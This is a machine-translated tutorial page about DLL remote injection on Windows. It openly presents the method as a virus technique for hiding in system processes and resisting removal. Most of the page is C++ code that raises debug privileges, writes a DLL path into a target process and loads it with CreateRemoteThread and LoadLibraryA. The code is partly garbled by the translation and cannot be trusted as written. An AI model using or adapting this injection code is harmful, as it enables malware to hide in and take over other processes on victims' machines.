C ++: detailed explanation of dll Remote Injection Technology

Source: Internet
Author: User

DLL Remote injection is a widely used Win32 virus technology. The virus body using this technology is usually located in a DLL. When the system starts, an EXE program will run the dll to some system paths (such as assumer.exe. In this way, it is difficult for a common process manager to find the virus, and even if it is found, it is difficult to clear it, because as long as the virus parasitic process does not stop running, the DLL will not be detached from the memory, and the user cannot delete the DLL file in the resource manager.

Well, let's not talk nonsense. The following code:

# Include <windows. h>
# Include <iostream. h>

Bool EnableDebugPriv ()
{
HANDLE hToken;
LUID sedebugnameValue;
TOKEN_PRIVILEGES tkp;
��
If (! OpenProcessToken (GetCurrentProcess (),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, & hToken )){
Return false;
}

If (! LookupPrivilegeValue (NULL, SE_DEBUG_NAME, & sedebugnameValue )){
CloseHandle (hToken );
Return false;
}

Tkp. PrivilegeCount = 1;
Tkp. Privileges [0]. Luid = sedebugnameValue;
Tkp. Privileges [0]. Attributes = SE_PRIVILEGE_ENABLED;

If (! AdjustTokenPrivileges (hToken, FALSE, & tkp, sizeof (tkp), NULL, NULL )){
CloseHandle (hToken );
Return false;
}

Return true;
}

BOOL InitDll (const char * DllFullPath, const DWORD dwRemoteProcessId)
{
EnableDebugPriv ();

HANDLE hRemoteProcess;
��
// Open a remote thread
HRemoteProcess = OpenProcess (PROCESS_ALL_ACCESS, FALSE, dwRemoteProcessId );

Char * pszLibFileRemote;

// Use the VirtualAllocEx function to allocate the DLL file name space in the memory address space of the remote process.
PszLibFileRemote = (char *) VirtualAllocEx (hRemoteProcess, NULL, lstrlen (DllFullPath) + 1,
MEM_COMMIT, PAGE_READWRITE );

// Use the WriteProcessMemory function to write the DLL path name to the memory space of the remote process.
WriteProcessMemory (hRemoteProcess, pszLibFileRemote, (void *) DllFullPath,
Lstrlen (DllFullPath) + 1, NULL );

DWORD dwID;
LPVOID pFunc = LoadLibraryA;
HANDLE hRemoteThread = CreateRemoteThread (hRemoteProcess, NULL, 0,
(LPTHREAD_START_ROUTINE) pFunc, pszLibFileRemote, 0, & dwID );

If (hRemoteThread = NULL)
{
Cout <"injection thread failed !" <Endl;
Return 0;
}
CloseHandle (hRemoteProcess );
CloseHandle (hRemoteThread );

Return TRUE;
}

Int main ()
{
InitDll ("C: \ hook. dll", number); // The dll file you want to inject. The "Number" is the PID of the process you want to inject.
Return 0;
}

Author: Li Mu Space"

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.